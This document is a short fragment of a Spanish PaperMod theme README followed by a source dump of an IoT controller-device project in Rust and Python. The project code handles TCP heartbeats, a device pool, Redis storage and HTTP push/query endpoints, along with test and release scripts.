Prรกctica](https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-how-to/) --- ## [LightHouse Report](https://lighthouse-dot-webdotdevsite.appspot.com//lh/html?url=https%3A%2F%2Fadityatelange.github.io%2Fhugo-PaperMod%2F) --- ### Ayรบdame/Apoyame Si te gusta mi trabajo y quieres ayudarme a mantener mรกs cositas productivas para ti y otros, puedes Brรญndarme un cรกfe. [![ko-fi](https://www.ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/H2H52F76Q) --- ## ยฟEncontraste un Bug? Si es asรญ, por favor usa: [Issue Tracker](https://github.com/adityatelange/hugo-PaperMod/issues) y/o crea un [Pull Request](https://github.com/adityatelange/hugo-PaperMod/pulls) para solucionar el bug. [![GitHub issues](https://img.shields.io/github/issues-raw/adityatelange/hugo-papermod)](https://github.com/adityatelange/hugo-PaperMod/issues?q=is%3Aopen) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/adityatelange/hugo-PaperMod)](https://github.com/adityatelange/hugo-PaperMod/issues?q=is%3Aissue+is%3Aclosed) [![GitHub pull requests](https://img.shields.io/github/issues-pr-raw/adityatelange/hugo-papermod)](https://github.com/adityatelange/hugo-PaperMod/pulls?q=is%3Aopen+is%3Apr) [![GitHub closed pull requests](https://img.shields.io/github/issues-pr-closed-raw/adityatelange/hugo-papermod)](https://github.com/adityatelange/hugo-PaperMod/pulls?q=is%3Apr+is%3Aclosed) ```
yulincoder/Controller-Device
yulincoder/Controller-Device main.rs ```#![feature(test)] use std::thread; #[allow(unused_imports)] use log::{ error, info, }; use common::config; use perception_service::connection as device_conn; mod perception_service; mod middleware_wrapper; mod common; fn main() -> Result<(), ()> { // ๅŠ ่ฝฝ้…็ฝฎ let config: config::Config = config::load_config("cfg.toml", true); config::log_init(config.log); // ๆ–ฐๅปบThread, ไผ ๅ…ฅ้…็ฝฎ๏ผŒๅฏๅŠจๆ„Ÿ็Ÿฅๅฑ‚่ฟžๆŽฅๆœๅŠก let cfg_perception_service = config.perception_service; let cfg_redis = config.redis; let perception_service_work = thread::spawn(move || { device_conn::start(cfg_perception_service, cfg_redis).unwrap(); }); if let Err(_) = perception_service_work.join() { panic!("start perception service failed") } Ok(()) } ``` release.sh ```cargo build --release mv target/release/untitled5 target/release/connection-service.bin scp ./target/release/connection-service.bin root@39.105.63.97:/root/home/csod/heartbeat-server/ ``` devicepool.py ```from gevent import monkey monkey.patch_all() import device from typing import Union, Dict, Tuple import threading # from multiprocessing.managers import BaseManager class DeviceSocketPool: def __init__(self): self._devices = {} def _lock_acquire(self): pass def _lock_release(self): pass def put_device(self, sn: str, d: device.Device): self._lock_acquire() self._devices[sn] = d self._devices[sn].is_alive = True self._lock_release() def peak_device(self, sn: str) -> Union[None, device.Device]: return self._devices[sn] if sn in self._devices else None def get_device_num(self) -> int: return len(self._devices.keys()) def get_alive_device_num(self) -> int: return len(list(filter(lambda e: e.is_alive, self._devices.values()))) def rm_device(self, sn: str): if sn in self._devices: del self._devices[sn] def set_alive(self, sn: str, alive: bool): self._devices[sn].is_alive = alive def is_in_pool(self, sn: str) -> bool: return sn in self._devices def is_alive(self, sn: str) -> bool: if self.is_in_pool(sn): return self._devices[sn].is_alive else: return False def put_msg_safe(self, sn: str, msg: str) -> Union[bool, int]: """ Post lastest msg to redis. """ if not self.is_in_pool(sn): return False if not self.is_alive(sn): return False device = self.peak_device(sn) retval = device.write(msg) return retval # It is seem that Gevent confilct to multiprocessing.managers.Manager # def ManagerInstance(): # """ # Create a process share instance # """ # m = BaseManager() # m.register('DeviceSocketPool', DeviceSocketPool) # m.start() # return m.DeviceSocketPool() # """ # m = BaseManager() # m.register('DeviceSocketPool', DeviceSocketPool) # m.start() # return m.DeviceSocketPool() # devicesocketpool = ManagerInstance() devicesocketpool = DeviceSocketPool() if __name__ == '__main__': print(devicesocketpool.is_in_pool('sdf')) ``` http_test.sh ```#!/bin/bash for((i=0;i<2;i++)); do sn="abc"$i echo -e "\n----------\n"${sn} curl -i -X POST -H "Content-Type: application/json" -d "{\"data\":\"fuck\", \"sn\":\"${sn}\"}" http://39.105.63.97:8080/push/push_msg #curl -i -X POST -H "Content-Type: application/json" -d "{\"data\":\"fuck\", \"sn\":\"${sn}\"}" http://127.0.0.1:8080/push/push_msg done ``` logger.py ```from gevent import monkey, socket monkey.patch_all() import logging LOG_FILENAME = "device_log.log" logger = logging.getLogger() logger.setLevel('INFO') BASIC_FORMAT = "%(asctime)s [%(levelname)s] - %(message)s" DATE_FORMAT = '%Y-%m-%d %H:%M:%S %p' formatter = logging.Formatter(BASIC_FORMAT, DATE_FORMAT) chlr = logging.StreamHandler() # ่พ“ๅ‡บๅˆฐๆŽงๅˆถๅฐ็š„handler chlr.setFormatter(formatter) chlr.setLevel('INFO') fhlr = logging.FileHandler(LOG_FILENAME) # ่พ“ๅ‡บๅˆฐๆ–‡ไปถ็š„handler fhlr.setFormatter(formatter) fhlr.setLevel('INFO') logger.addHandler(chlr) logger.addHandler(fhlr) def info(msg): logging.info('\033[1;32m'+msg+'\033[0m') def debug(msg): logging.debug('\033[1;36m'+msg+'\033[0m') def warning(msg): logging.warning('\033[1;34m'+msg+'\033[0m') def error(msg): logging.error('\033[1;31m'+msg+'\033[0m') def critical(msg): logging.critical('\033[1;91m'+msg+'\033[0m')``` main.rs ```use log::info; use std::sync::{Arc, RwLock}; use std::thread; mod connection; mod device; mod http_server; mod loge_cfg; mod messagequeue; fn init() -> Result<(), String> { loge_cfg::log_init(Some("info"))?; Ok(()) } fn main() { init().unwrap(); let devicepool = Arc::new(RwLock::new(device::DevicePool::new())); let devicepool_clone_1 = devicepool.clone(); let connection_server_thread = thread::spawn(move || { connection::start(devicepool_clone_1); }); let devicepool_clone_2 = devicepool.clone(); let web_server_thread = thread::spawn(move || match http_server::start(devicepool_clone_2) { Err(_) => panic!("Http start fail"), _ => {} }); if connection_server_thread.join().is_ok() { info!("Connection Service Launch OK"); } if web_server_thread.join().is_ok() { info!("Http service launch OK"); } } ``` test.py ``` import socket import json import time import gevent from gevent import monkey, socket, time monkey.patch_all() cnt = 0 def request(sn, close=True): global cnt s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #s.settimeout(15) server = ("127.0.0.1", 9000) s.connect(server) s.setblocking(True) msg = { "v": "0.1", "sn": sn, } time.sleep(1) msg = json.dumps(msg) + '\n' s.sendall(bytes(msg, encoding='utf-8')) while not close: cnt += 1 print(s.recv(1000)) s.sendall(bytes(msg, encoding='utf-8')) msg = { "type": "push", "msg": "okokokoko", } msg = json.dumps(msg) + '\n' print(msg) s.sendall(bytes(msg, encoding='utf-8')) time.sleep(1) event = { "event": "frome the device {}".format(cnt), } event = json.dumps(event)+'\n' print(event) s.sendall( bytes(event, encoding='utf-8')) s.close() gs = [] for e in range(500): g = gevent.spawn(request, f"sn/controller/{e*4000}", False if e < 2500 else True) gs.append(g) for g in gs: g.join() ``` query_redis.rs ```#[allow(unused_imports)] use log::{error, info, warn}; use tokio::time::Duration; use tokio::time::delay_for; use super::redis_wrapper as rw; const REDIS_ADDR: &str = "127.0.0.1"; const REDIS_PORT: &str = "6379"; pub const NAMESPACE_DEVICES_BORN: &str = "csod/devices_born"; pub const NAMESPACE_DEVICES_ALIVE: &str = "csod/devices_alive"; pub const NAMESPACE_DEVICE_STATUS: &str = "csod/device_status"; //pub const NAMESPACE_DEVICES_COMMON_EVENT_NOTIFY: &str = "csod/mq/p5"; pub async fn get_devices_num() -> Result<Option<String>, String> { let mut redis_conn = if let Ok(e) = rw::RedisConn::new(REDIS_ADDR, REDIS_PORT).await { e } else { warn!("connection redis fail."); return Err("connection redis fail.".to_string()); }; let rv = redis_conn.zcard(NAMESPACE_DEVICES_BORN).await; if let Ok(Some(v)) = rv { Ok(Some(format!("{}", v))) } else { warn!("read failed"); Err("read fail.".to_string()) } } pub async fn get_alive_devices_num() -> Result<Option<String>, String> { let mut redis_conn = if let Ok(e) = rw::RedisConn::new(REDIS_ADDR, REDIS_PORT).await { e } else { warn!("connection redis fail."); return Err("connection redis fail.".to_string()); }; let rv = redis_conn.zcard(NAMESPACE_DEVICES_ALIVE).await; if let Ok(Some(v)) = rv { Ok(Some(format!("{}", v))) } else { warn!("read fail."); Err("read fail.".to_string()) } } pub async fn sn_is_alive(sn: &str) -> bool { let mut redis_conn = if let Ok(e) = rw::RedisConn::new(REDIS_ADDR, REDIS_PORT).await { e } else { return false; }; let rv = redis_conn.zrank(NAMESPACE_DEVICES_ALIVE, sn).await; if let Ok(Some(_)) = rv { true } else { false } } // ๅ†™ไธ‹่กŒๆถˆๆฏ async fn write_downlink(sn: &str, msg: &str) -> Result<Option<usize>, String> { let mut redis_conn = if let Ok(e) = rw::RedisConn::new(REDIS_ADDR, REDIS_PORT).await { e } else { warn!("dev {} {}", sn, "connection redis fail.".to_string()); return Err("connection redis fail.".to_string()); }; info!("push msg to downlink {}", msg); match redis_conn.hset(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, sn), "downlink", msg).await { Err(_) => { warn!("dev {} {}", sn, "set redis fail.".to_string()); Err("set redis fail.".to_string()) } Ok(v) => { Ok(v) } } } // ๆธ…้™คไธŠ่กŒack pub async fn clear_uplink(sn: &str) -> Result<(), String> { let mut redis_conn = if let Ok(e) = rw::RedisConn::new(REDIS_ADDR, REDIS_PORT).await { e } else { warn!("dev {} {}", sn, "connection redis fail.".to_string()); return Err("connection redis fail.".to_string()); }; if let Ok(_) = redis_conn.hdel(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, sn), "uplink").await { Ok(()) } else { warn!("dev {} {}", sn, "clear redis hash uplink msg failed".to_string()); Err("clear redis hash uplink msg failed".to_string()) } } // ่ฏปไธŠ่กŒackๆถˆๆฏ pub async fn readline_uplink(sn: &str) -> Result<String, String> { let mut redis_conn = if let Ok(e) = rw::RedisConn::new(REDIS_ADDR, REDIS_PORT).await { e } else { warn!("dev {} {}", sn, "connection redis fail.".to_string()); return Err("connection redis fail.".to_string()); }; if let Ok(v) = redis_conn.hget(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, sn), "uplink").await { // ่ฏปๅฎŒๅ€ผๅฐฑไปŽredisๅˆ ้™คๆމ // TODO: ่ฟ™้‡Œๅˆ ้™คๅคฑ่ดฅๆฒกๅค„็† let _ = redis_conn.hdel(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, sn), "uplink").await; Ok(v) } else { //warn!("dev {} {}", sn, "read redis hash fail".to_string()); Err("read redis hash fail".to_string()) } } pub async fn transparent_transmit_wit_ack(sn: &str, msg: &str) -> Result<Option<String>, String> { // ๅ…ˆๆธ…้™คack if let Err(e) = clear_uplink(&sn).await { warn!("dev {} clear ack failed", sn); return Err(e); } if let Err(e) = write_downlink(sn, msg).await { warn!("dev {} write downlink msg failed", sn); return Err(e); } // ็ญ‰ๅพ…ackๆœ€ๅคš5s for i in 1..50 { if let Ok(rv) = readline_uplink(sn).await { return Ok(Some(format!("{}", rv))); } else { //warn!("dev {}, delay {}", sn, i); delay_for(Duration::from_millis(100)).await; } }; Ok(None) }``` device.py ```from gevent import monkey monkey.patch_all() from typing import Union, Tuple import socket import json import logger import time import MsgField import gevent import traceback import threading class Device: def __init__(self, sn: str, ip_mac: Union[Tuple[str, int], None] = None, sock: Union[socket.socket, None] = None, is_alive: bool = True): self.sn = sn self.ip_mac = ip_mac self.socket = sock self.socket.setblocking(False) self.is_alive = is_alive class GenericSwitcherDevice(Device): def __init__(self, sn: str, ip_mac: Union[str, None] = None, sock: Union[socket.socket, None] = None, is_alive: bool = True): super(GenericSwitcherDevice, self).__init__(sn, ip_mac, sock, is_alive) self._heartbeat_msg_dict: dict = {"sn": None} self._lock: threading.Lock = threading.Lock() def _lock_acquire(self): self._lock.acquire() def _lock_release(self): self._lock.release() def _build_ping_msg(self) -> str: self._heartbeat_msg_dict['sn'] = self.sn return json.dumps(self._heartbeat_msg_dict) def ping(self) -> bool: pingmsg = self._build_ping_msg() logger.info(pingmsg) if self.socket is not None: self.socket.sendall(pingmsg) time.sleep(1) logger.info(pingmsg + ' pong') def heartbeat(self) -> bool: if self.socket is None: self.is_alive = False return False sock_f = self.socket.makefile(mode='r', encoding='utf-8') msg = MsgField.HEARTBEAT msg['sn'] = self.sn msg = bytes(json.dumps(msg) + '\n', encoding='utf-8') self.socket.sendall(msg) for poll in range(3): gevent.sleep(1) try: data = sock_f.readline() if data: logger.info( '{}: device({}) heartbeat was succeed, {}'.format( __file__, self.sn, data)) self.is_alive = True return True except: err_msg = traceback.format_exc() logger.info('{}: device({}) heartbeat was fail, {}'.format( __file__, self.sn, err_msg)) continue logger.warning('{}: device({}) heartbeat was fail'.format( __file__, self.sn)) self.is_alive = False return False def readline(self) -> Union[str, None]: sock_f = self.socket.makefile(mode='r', encoding='utf-8') data = sock_f.readline() return None if len(data) == 0 else data def writeline(self, msg: str) -> Union[bool, int]: if not isinstance(msg, str): try: msg = str(msg) except: return False if msg[-1] != '\n': msg += '\n' sock_f = self.socket.makefile(mode='r', encoding='utf-8') self._lock_acquire() retval = sock_f.write(msg) self._lock_release() return retval if __name__ == '__main__': switcher = GenericSwitcherDevice(sn='abc/12344', ip_mac="192.168.1.1") switcher.ping() ``` json_warpper.rs ```#![allow(dead_code)] #[allow(unused_imports)] use log::{error, info, warn}; use serde_json; use serde_json::Value; pub fn parse_sn(msg: &String) -> Option<String> { let sn: Option<String> = if let Ok(data) = serde_json::from_str(msg) { match data { Value::Object(t) => { if t.contains_key("sn") { match t.get("sn").unwrap() { Value::String(v) => Some(v.to_string()), _ => None, } } else { None } } _ => None, } } else { None }; sn }``` device_support.py ```import gevent from gevent import monkey, socket monkey.patch_all() import threading from devicepool import devicesocketpool as dsp import logger import json import traceback from typing import Union, Tuple import threading import device import queue import redis import Config as cfg from communication import MessageQueue socket_queue = queue.Queue() redis_mq = MessageQueue() def checkdevice(data) -> Union[bool, str]: """ Check a new connection whether a device :param data: the first massage from a new connection :return: False if it a invalid else it's sn """ try: logger.info('{}: receive data :{}'.format(__file__, data)) data = json.loads(data) if 'sn' in data: return data['sn'] except: return False def handshake(sock: socket, addr: Tuple[str, int]) -> Union[device.Device, None]: """ Handshake :param sock: :param addr: :return: True if handshake succeed else False """ sock.setblocking(False) sock_f = sock.makefile(mode='r', encoding='utf-8') d = None # Handshake for poll in range(3): gevent.sleep(3) try: data = sock_f.readline() sn = checkdevice(data) if sn is False: logger.warning("{}: poll {}, error sn with ip({})".format( __file__, poll, str(addr))) continue d = device.GenericSwitcherDevice(sn=sn, ip_mac=addr, sock=sock, is_alive=True) logger.info( '{}: poll {}, alive device {}, connection{} was succeed, save it.' .format(__file__, poll, dsp.get_device_num(), str(addr))) break except: err_msg = traceback.format_exc() logger.error("{}: ip({}) abort with error: {}".format( __file__, str(addr), err_msg)) continue if d is None: sock.close() logger.warning('{}: connection{} failed, close it.'.format( __file__, str(addr))) return d def long_connection(d: device.Device) -> None: """ Maintain a long connection with a device. :param sock: :param addr: :return: :exception: """ heartbeat_cnt = 0 while True: data = d.readline() if data: logger.info('{}: receive a message from {}: {}'.format( __file__, str(d.ip_mac), data)) # Put Msg to MQ redis_mq.put(str(data)) heartbeat_cnt = 0 else: heartbeat_cnt += 1 if heartbeat_cnt >= (cfg.PING_PERIOD / 0.5): logger.info('{}:heart beat with {}'.format(__file__, str(d.ip_mac))) if d.heartbeat() is False: logger.warning('{}:heart beat fail with {}, delete it.'.format( __file__, str(d.ip_mac))) dsp.set_alive( d.sn, False ) # Fail to heartbeat_cnt, delete it from devices alive. break logger.info('{}:heart beat succeed with {}.'.format( __file__, str(d.ip_mac))) heartbeat_cnt = 0 gevent.sleep(0.5) def maintain(sock: socket, addr: Tuple[str, int]) -> None: """ Maintain a long connection between device. :param sock: :param addr: :return: """ logger.info('Accept new connection from %s:%s...' % addr) d = handshake(sock, addr) if d is None: logger.warning('{}: handshake with {} failed, close it.'.format( __file__, str(addr))) return dsp.put_device(d.sn, d) long_connection(dsp.peak_device(d.sn)) def accept_connection_handler_thread(): logger.info("{}: tcp process".format(__file__)) while True: sock, addr = socket_queue.get() logger.info("{}: get a connection({})".format(__file__, str(addr))) t = threading.Thread(target=maintain, args=(sock, addr)) t.start() #gevent.spawn(maintain, sock, addr) def device_maintain(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # ็›‘ๅฌ็ซฏๅฃ: s.bind(('0.0.0.0', 9000)) s.listen(10000) print('Waiting for connection...') t1 = threading.Thread(target=accept_connection_handler_thread) t1.start() while True: logger.info("{}: start accept".format(__file__)) sock, addr = s.accept() logger.info("{}: put a connection()".format(__file__, str(addr))) socket_queue.put((sock, addr)) if __name__ == '__main__': device_maintain() ``` http_server.rs ```use crate::connection; use crate::device; use actix_web::{error, get, post, web, App, Error, HttpResponse, HttpServer}; use bytes::BytesMut; use futures::StreamExt; use log::{info, warn}; use serde_json::json; use std::sync::{Arc, RwLock}; #[get("/query/service_version")] async fn query_service_version() -> Result<HttpResponse, Error> { let resp = json!({ "namespace": "/query/service_version", "value": "v0.8.0-20200626a", }); Ok(HttpResponse::Ok().body(resp)) } #[get("/query/devices_num")] async fn query_devices_num( devicepool: web::Data<Arc<RwLock<device::DevicePool>>>, ) -> Result<HttpResponse, Error> { let resp = json!({ "namespace": "/query/devices_num".to_string(), "value": format!("{}", devicepool.read().unwrap().get_devices_num()), }); Ok(HttpResponse::Ok().body(resp)) } #[get("/query/devices_alive_num")] async fn query_devices_alive_num( devicepool: web::Data<Arc<RwLock<device::DevicePool>>>, ) -> Result<HttpResponse, Error> { let resp = json!({ "namespace": "/query/device_alive_num", "value": format!("{}", devicepool.read().unwrap().get_alive_devices_num()), }); Ok(HttpResponse::Ok().body(resp)) } #[get("/query/device_is_alive/{sn}")] async fn device_is_alive( info: web::Path<String>, devicepool: web::Data<Arc<RwLock<device::DevicePool>>>, ) -> Result<HttpResponse, Error> { let sn = info.to_string(); let is_alive = devicepool.write().unwrap().is_alive(&sn); let resp = json!({ "namespace": "/query/device_is_alive", "sn": sn, "value": if is_alive { "online".to_string() } else { "offline".to_string() }, }); Ok(HttpResponse::Ok().body(resp)) } const MAX_SIZE: usize = 262_144; #[post("/push/push_msg")] async fn push_get( mut payload: web::Payload, devicepool: web::Data<Arc<RwLock<device::DevicePool>>>, ) -> Result<HttpResponse, Error> { // payload is a stream of Bytes objects let mut body = BytesMut::new(); while let Some(chunk) = payload.next().await { let chunk = chunk?; // limit max size of in-memory payload if (body.len() + chunk.len()) > MAX_SIZE { return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "error": "overflow" }))); } body.extend_from_slice(&chunk); } match String::from_utf8(body.to_vec()) { Ok(body_string) => { println!("data: {}", body_string); let sn = if let Some(sn) = connection::parse_sn(&body_string) { sn } else { warn!("invaild request, have no sn field"); return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "error": "have no sn field" }))); }; info!("push get device({})", sn); let mut dsp_lock = devicepool.write().unwrap(); if dsp_lock.is_alive(&sn) == false || dsp_lock.is_in_pool(&sn) == false { return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "error": "device offline" }))); } match dsp_lock.get_device_ref(&sn) { Some(device_lock) => { drop(dsp_lock); // unlock the devicepool lock let mut device = device_lock.write().unwrap(); match device.writeline(body_string.clone(), true) { Ok(_) => { info!( "send message: '{}' to device({})", body_string, device.get_sn() ); if let Ok(rawdata) = device.readline_timeout(5) { let resp = json!({ "namespace": "/push/push_msg", "value": rawdata }); return Ok(HttpResponse::Ok().body(resp)); } else { return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "error": "no response" }))); } } Err(_) => { return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "error": "send message fail" }))); } } } _ => { return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "error": "device offline" }))) } } } _ => { return Err(error::ErrorBadRequest(json!({ "namespace": "/push/push_msg", "error": "invalid data" }))) } } } #[actix_rt::main] pub async fn start(devicepool: Arc<RwLock<device::DevicePool>>) -> std::io::Result<()> { HttpServer::new(move || { App::new() .data(devicepool.clone()) .service(query_devices_num) .service(query_devices_alive_num) .service(push_get) .service(device_is_alive) .service(query_service_version) }) .bind("0.0.0.0:8080")? .run() .await } ``` app.py ```from flask import Flask, request, Response import threading import device_support from devicepool import devicesocketpool as dsp import Config as cfg import json import logger app = Flask(__name__) @app.route('/') def hello_world(): return 'MX-Backend' @app.route('/query/alive_num', methods=['GET']) def get_alive_device_num(): """ HTTP API: Query alive num """ resp = { "type": "api.query", "deviceinfo": dsp.get_alive_device_num(), } print('app:', dsp.get_alive_device_num()) return json.dumps(resp) @app.route('/query/devices_num', methods=['GET']) def get_device_num(): """ HTTP API: Query alive num """ resp = { "type": "api.query", "deviceinfo": dsp.get_device_num(), } return json.dumps(resp) @app.route('/query/is_alive', methods=['GET']) def get_sn_is_alive(): """ HTTP API: Query a sn whether alive """ sn = request.args.get('sn') logger.info("{}: query sn({}) whether".format(__file__, str(sn))) is_alive = dsp.is_alive(sn) resp = { 'type': "api.query", 'is_alive': is_alive, 'sn': sn, } return json.dumps(resp) @app.route('/push/push_msg', methods=['POST']) def push_msg(): """ HTTP API: push a set msg to device """ data = request.get_json() if not data: logger.warning("{}: get a invaild data({}) with /push/push_msg".format(__file__, data)) invaild_resp = {'type': "push status", 'ctx': "invaild data"} return Response(json.dumps(invaild_resp), status=400, mimetype='application/json') else: logger.info("{}: get data({}) with /push/push_msg".format(__file__, data)) return Response('{"status": "ok"}', status=200, mimetype='application/json') def restful_run() -> threading.Thread: t = threading.Thread(target=app.run, args=(cfg.WEB_ADDR, cfg.WEB_PORT)) t.start() return t def device_maintain() -> threading.Thread: t = threading.Thread(target=device_support.device_maintain) t.start() return t if __name__ == '__main__': t1 = restful_run() t2 = device_maintain() t1.join() t2.join() ``` redis_wrapper.rs ```use std::time::SystemTime; #[allow(unused_imports)] use log::{ error, info, }; use redis::{ aio::Connection, AsyncCommands, cmd as redis_cmd, RedisResult, }; pub struct RedisConn { conn: Option<Connection>, } pub const NAMESPACE_DEVICES_BORN: &str = "csod/devices_born"; pub const NAMESPACE_DEVICES_ALIVE: &str = "csod/devices_alive"; pub const NAMESPACE_DEVICE_STATUS: &str = "csod/device_status"; pub const NAMESPACE_DEVICES_COMMON_EVENT_NOTIFY: &str = "csod/mq/p5"; #[allow(dead_code)] impl RedisConn { /// ๅปบ็ซ‹ไธ€ไธชredis async่ฟžๆŽฅ pub async fn new(ip: &str, port: &str) -> RedisResult<RedisConn> { let _redis_addr = format!("redis://{}:{}/", ip, port); let client_result = redis::Client::open(_redis_addr); match client_result { Ok(cli) => { match cli.get_async_connection().await { Ok(conn) => Ok(RedisConn { conn: Some(conn) }), Err(e) => { error!("get async redis connection fail: {:?}", e); Err(e) } } } Err(e) => { error!("connect redis fail: {:?}", e); Err(e) } } } pub async fn set(&mut self, k: &str, v: &str) -> Result<(), ()> { match &mut self.conn { Some(cli) => { match cli.set::<&str, &str, String>(k, v).await { Ok(_) => Ok(()), Err(_) => { error!("Set key to redis failed."); Err(()) } } } _ => { error!("Redis conn in RedisConn struct is None"); Err(()) } } } pub async fn get(&mut self, key: &str) -> Result<String, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; match cli.get::<&str, String>(key).await { Ok(v) => Ok(v), Err(_) => Err(()) } } /// ๅฐ†ๆ•ฐๆฎไปŽๅทฆ็ซฏ(lpush)ๆŽจๅ…ฅๆŒ‡ๅฎšredis list pub async fn push_to_list(&mut self, list_name: &str, v: &str) -> Result<Option<usize>, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; match cli.lpush::<&str, &str, Option<usize>>(list_name, v).await { Ok(e) => { info!("push msg({}) to list({}) , result: {:?}", v, list_name, e); Ok(e) } Err(e) => { error!("push msg({}) to list({}) failed: {:?}", v, list_name, e); Err(()) } } } pub async fn pop_from_list(&mut self, list_name: &str) -> Result<Option<String>, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; match cli.rpop::<&str, Option<String>>(list_name).await { Ok(v) => Ok(v), Err(e) => { error!("pop from list({}) failed: {:?}", list_name, e); Err(()) } } } pub async fn del_key(&mut self, key: &str) { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return; }; let _: RedisResult<u16> = redis::cmd("del") .arg(key) .query_async(cli) .await; } pub async fn zcard(&mut self, key: &str) -> Result<u64, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; let query: RedisResult<u64> = redis_cmd("zcard") .arg(key) .query_async(cli) .await; if let Ok(num) = query { Ok(num) } else { error!("{:?}", query); Err(()) } } pub async fn zadd(&mut self, key: &str, score: &str, member: &str) -> Result<u64, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; let query: RedisResult<u64> = redis_cmd("zadd") .arg(key).arg(score).arg(member) .query_async(cli) .await; if let Ok(num) = query { Ok(num) } else { Err(()) } } /// ่ฟ”ๅ›žๆŒ‡ๅฎšๆˆๅ‘˜ๅœจๆœ‰ๅบ้›†ๅˆไธญ็š„็ดขๅผ• pub async fn zrank(&mut self, key: &str, member: &str) -> Result<Option<usize>, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; let query: RedisResult<Option<usize>> = redis_cmd("zrank") .arg(key).arg(member) .query_async(cli) .await; if let Ok(idx) = query { Ok(idx) } else { Err(()) } } /// ๅˆ ้™คๆœ‰ๅบ้›†ๅˆไธญๆŒ‡ๅฎšๅ€ผ pub async fn zrem(&mut self, key: &str, member: &str) -> Result<Option<usize>, ()> { println!("debug ::: key {}, member: {}", key, member); let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; let query: RedisResult<Option<usize>> = redis_cmd("zrem") .arg(key).arg(member) .query_async(cli) .await; if let Ok(num) = query { Ok(num) } else { Err(()) } } /// count the number of members in the the `csod/devices_born` key pub async fn zcard_devices_born(&mut self) -> Result<u64, ()> { self.zcard(NAMESPACE_DEVICES_BORN).await } /// add a member to sorted set with `csod/devices_born` key pub async fn zadd_devices_born(&mut self, score: &str, member: &str) -> Result<u64, ()> { self.zadd(NAMESPACE_DEVICES_BORN, score, member).await } /// count the number of members in the the `csod/devices_alive` key pub async fn zcard_devices_alive(&mut self) -> Result<u64, ()> { self.zcard(NAMESPACE_DEVICES_ALIVE).await } /// add a member to sorted set with `csod/devices_alive` key pub async fn zadd_devices_alive(&mut self, score: &str, member: &str) -> Result<u64, ()> { self.zadd(NAMESPACE_DEVICES_ALIVE, score, member).await } /// remove a member to sorted set with `csod/devices_born` key pub async fn zrem_devices_alive(&mut self, member: &str) -> Result<Option<usize>, ()> { self.zrem(NAMESPACE_DEVICES_ALIVE, member).await } pub fn get_unix_timestamp(&self) -> f64 { match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) { Ok(stamp) => stamp.as_micros() as f64 / 1e6, Err(_) => { error!("error timestamp, Should never be here"); 0.0f64 } } } /// ๅ‘redisๆœ‰ๅบ้›†ๅˆๆ’ๅ…ฅไธ€ไธชsn๏ผŒๅ…ถไธญๆ’ๅ…ฅๆ—ถ้—ดๆˆณไธบ่ฏฅsn score๏ผŒๆ—ถ้—ดๆˆณไธชไฝไธบs๏ผŒๅฐๆ•ฐ็‚นไฟ็•™ๅˆฐๅพฎ็ง’ pub async fn zadd_device_born_with_timestamp(&mut self, sn: &str) -> Result<u64, ()> { let born_stamp = self.get_unix_timestamp(); match self.hset(&format!("{}/{}", NAMESPACE_DEVICE_STATUS, sn), "borntime", &born_stamp.to_string()).await { Ok(_) => self.zadd_devices_born(&format!("{}", born_stamp), sn).await, Err(e) => { error!("insert sorted fail: {:?}", e); Err(e) } } } /// ๅ‘redisๆœ‰ๅบ้›†ๅˆๆ’ๅ…ฅไธ€ไธชsn๏ผŒๅ…ถไธญๆ’ๅ…ฅๆ—ถ้—ดๆˆณไธบ่ฏฅsn score๏ผŒๆ—ถ้—ดๆˆณไธชไฝไธบs๏ผŒๅฐๆ•ฐ็‚นไฟ็•™ๅˆฐๅพฎ็ง’ pub async fn zadd_device_alive_with_timestamp(&mut self, sn: &str) -> Result<u64, ()> { self.zadd_devices_alive(&format!("{}", self.get_unix_timestamp()), sn).await } /// ่ฎพ็ฝฎๆŒ‡ๅฎškey็š„hash่กจ๏ผŒๅนถ่ฎพ็ฝฎๆŒ‡ๅฎšๅญ—ๆฎตๅ’ŒๆŒ‡ๅฎšๅ€ผ pub async fn hset(&mut self, key: &str, field: &str, value: &str) -> Result<Option<usize>, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; let query: RedisResult<Option<usize>> = redis_cmd("hset") .arg(key).arg(field).arg(value) .query_async(cli) .await; info!(" hset test key {}, field {}, value {}, {:?}", key, field, value, query); if let Ok(num) = query { Ok(num) } else { error!("set hash fail: {}, {}, {}, query: {:?}", key, field, value, query); Err(()) } } /// ่Žทๅ–hash่กจๆŒ‡ๅฎškey็š„ๆŒ‡ๅฎšๅญ—ๆฎต pub async fn hget(&mut self, key: &str, field: &str) -> Result<String, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; let query: RedisResult<String> = redis_cmd("hget") .arg(key).arg(field) .query_async(cli) .await; if let Ok(string) = query { Ok(string) } else { Err(()) } 